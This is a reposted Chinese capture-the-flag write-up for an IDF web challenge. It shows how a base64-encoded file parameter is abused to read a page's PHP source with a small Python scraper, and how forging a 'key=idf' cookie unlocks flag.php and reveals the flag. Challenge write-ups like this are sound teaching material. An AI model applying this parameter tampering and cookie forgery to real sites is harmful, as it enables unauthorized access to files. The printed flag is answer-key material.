IDF-CTF-cookie欺骗 writeup

转载

weixin_30488085 于 2015-07-20 18:10:00 发布 81 收藏
原文链接：http://www.cnblogs.com/renzongxian/p/4662169.html

题目链接: http://ctf.idf.cn/index.php?g=game&m=article&a=index&id=40

知识点：base64解码, cookie欺骗

> 这里这里→ http://ctf.idf.cn/game/web/40/index.php

思路：
点击链接跳转到url：http://ctf.idf.cn/game/web/40/index.php?line=&file=ZmxhZy50eHQ ，发现参数file的值经过了base64编码，解码发现是“flag.txt”，猜测有文件包含漏洞，尝试更改file的值为“index.php”的base64编码值访问，网页空白，更改line的值后得到一行代码，多次尝试后发现line最大为18，写个程序抓取该文件内容，如下：

```
# !/usr/bin/env python3
# __author__: renzongxian

import requests

file = open('index.php', 'wb')
for i in range(19):
    url = "http://ctf.idf.cn/game/web/40/index.php?line=" + str(i) + "&file=aW5kZXgucGhw"
    r =requests.get(url)
    content = r.content
    file.write(content)
file.close()
```

抓取到的index.php内容为

```php
<?php
    error_reporting(0);
    $file=base64_decode(isset($_GET['file'])?$_GET['file']:"");
    $line=isset($_GET['line'])?intval($_GET['line']):0;
    if($file=='') header("location:index.php?line=&file=ZmxhZy50eHQ");
    $file_list = array(
        '0' =>'flag.txt',
        '1' =>'index.php',
    );

    if(isset($_COOKIE['key']) && $_COOKIE['key']=='idf'){
        $file_list[2]='flag.php';
    }

    if(in_array($file, $file_list)){
        $fa = file($file);
        echo $fa[$line];
    }
?>
```

根据代码内容可知当cookie中包含'key=idf'时可以访问'flag.php'文件，将file的参数改为"flag.php"的编码值，拦截访问并添加cookie，即可在网页源码中看到`<?php $flag='wctf{idf_c00kie}';?>`

转载于:https://www.cnblogs.com/renzongxian/p/4662169.html